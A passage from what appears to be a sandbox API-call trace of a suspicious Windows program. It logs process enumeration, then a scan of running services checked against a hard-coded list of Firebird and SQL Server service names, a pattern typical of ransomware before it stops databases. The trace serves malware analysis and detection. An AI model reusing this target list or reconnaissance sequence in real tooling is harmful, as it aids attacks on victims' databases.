lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0244.512] lstrlenW (lpString="wininit.exe") returned 11 [0244.512] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0244.513] lstrlenW (lpString="csrss.exe") returned 9 [0244.513] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0244.513] lstrlenW (lpString="winlogon.exe") returned 12 [0244.513] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0244.514] lstrlenW (lpString="services.exe") returned 12 [0244.514] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0244.515] lstrlenW (lpString="lsass.exe") returned 9 [0244.515] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0244.515] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0244.515] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0244.516] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0244.516] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.517] lstrlenW (lpString="svchost.exe") returned 11 [0244.517] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.517] lstrlenW (lpString="svchost.exe") returned 11 [0244.517] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0244.518] lstrlenW (lpString="dwm.exe") returned 7 [0244.518] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.518] lstrlenW (lpString="svchost.exe") returned 11 [0244.519] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.519] lstrlenW (lpString="svchost.exe") returned 11 [0244.519] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.520] lstrlenW (lpString="svchost.exe") returned 11 [0244.520] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.521] lstrlenW (lpString="svchost.exe") returned 11 [0244.521] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.521] lstrlenW (lpString="svchost.exe") returned 11 [0244.521] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.522] lstrlenW (lpString="svchost.exe") returned 11 [0244.522] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.523] lstrlenW (lpString="svchost.exe") returned 11 [0244.523] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.523] lstrlenW (lpString="svchost.exe") returned 11 [0244.523] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.524] lstrlenW (lpString="svchost.exe") returned 11 [0244.524] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.524] lstrlenW (lpString="svchost.exe") returned 11 [0244.524] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0244.525] lstrlenW (lpString="spoolsv.exe") returned 11 [0244.525] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.526] lstrlenW (lpString="svchost.exe") returned 11 [0244.526] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0244.526] lstrlenW (lpString="audiodg.exe") returned 11 [0244.526] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0244.527] lstrlenW (lpString="sihost.exe") returned 10 [0244.527] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.528] lstrlenW (lpString="svchost.exe") returned 11 [0244.528] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0244.528] lstrlenW (lpString="taskhostw.exe") returned 13 [0244.528] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0244.529] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0244.529] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0244.530] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0244.530] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0244.530] lstrlenW (lpString="Memory Compression") returned 18 [0244.530] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0244.531] lstrlenW (lpString="explorer.exe") returned 12 [0244.531] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0244.531] lstrlenW (lpString="SearchUI.exe") returned 12 [0244.531] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0244.532] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0244.532] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0244.533] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0244.533] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0244.533] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0244.533] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0244.534] lstrlenW (lpString="finbbp.exe") returned 10 [0244.534] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0244.534] lstrlenW (lpString="cmd.exe") returned 7 [0244.534] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0244.535] lstrlenW (lpString="conhost.exe") returned 11 [0244.535] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0244.536] CloseHandle (hObject=0x4e8) returned 1 [0244.536] Sleep (dwMilliseconds=0x1f4) [0245.362] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aaab0 [0245.387] EnumServicesStatusExW (in: hSCManager=0x41aaab0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0245.388] GetLastError () returned 0xea [0245.388] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1bc4) returned 0x4256510 [0245.388] EnumServicesStatusExW (in: hSCManager=0x41aaab0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4256510, cbBufSize=0x1bc4, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4256510, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0245.393] CloseServiceHandle (hSCObject=0x41aaab0) returned 1 [0245.394] lstrlenW (lpString="Appinfo") returned 7 [0245.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0245.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0245.394] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0245.394] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0245.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0245.394] lstrlenW (lpString="AppXSvc") returned 7 [0245.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0245.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0245.394] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0245.394] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0245.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0245.394] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0245.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0245.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0245.394] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0245.394] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0245.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0245.394] lstrlenW (lpString="Audiosrv") returned 8 [0245.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0245.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0245.394] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0245.394] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0245.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0245.395] lstrlenW (lpString="BFE") returned 3 [0245.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0245.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0245.395] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0245.395] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0245.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0245.395] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0245.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0245.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0245.395] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0245.395] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0245.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0245.395] lstrlenW (lpString="CDPSvc") returned 6 [0245.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0245.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0245.395] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0245.395] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0245.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0245.395] lstrlenW (lpString="ClickToRunSvc") returned 13 [0245.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0245.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0245.395] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0245.395] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0245.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0245.395] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0245.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0245.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0245.395] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0245.395] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0245.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0245.396] lstrlenW (lpString="CryptSvc") returned 8 [0245.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0245.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0245.396] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0245.396] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0245.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0245.396] lstrlenW (lpString="DcomLaunch") returned 10 [0245.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0245.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0245.396] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0245.396] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0245.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0245.396] lstrlenW (lpString="DeviceAssociationService") returned 24 [0245.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0245.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0245.397] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0245.397] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0245.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0245.397] lstrlenW (lpString="Dhcp") returned 4 [0245.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0245.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0245.397] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0245.397] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0245.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0245.397] lstrlenW (lpString="Dnscache") returned 8 [0245.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0245.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0245.397] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0245.397] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0245.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0245.397] lstrlenW (lpString="DPS") returned 3 [0245.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0245.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0245.397] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0245.397] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0245.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0245.397] lstrlenW (lpString="DusmSvc") returned 7 [0245.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0245.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0245.398] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0245.398] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0245.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0245.398] lstrlenW (lpString="EventLog") returned 8 [0245.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0245.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0245.398] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0245.398] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0245.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0245.398] lstrlenW (lpString="EventSystem") returned 11 [0245.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0245.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0245.398] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0245.398] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0245.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0245.398] lstrlenW (lpString="FontCache") returned 9 [0245.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0245.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0245.398] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0245.398] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0245.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0245.398] lstrlenW (lpString="gpsvc") returned 5 [0245.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0245.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0245.399] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0245.399] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0245.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0245.399] lstrlenW (lpString="iphlpsvc") returned 8 [0245.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0245.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0245.399] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0245.399] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0245.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0245.399] lstrlenW (lpString="KeyIso") returned 6 [0245.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0245.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0245.399] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0245.399] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0245.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0245.399] lstrlenW (lpString="LanmanServer") returned 12 [0245.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0245.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0245.399] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0245.399] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0245.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0245.399] lstrlenW (lpString="LanmanWorkstation") returned 17 [0245.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0245.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 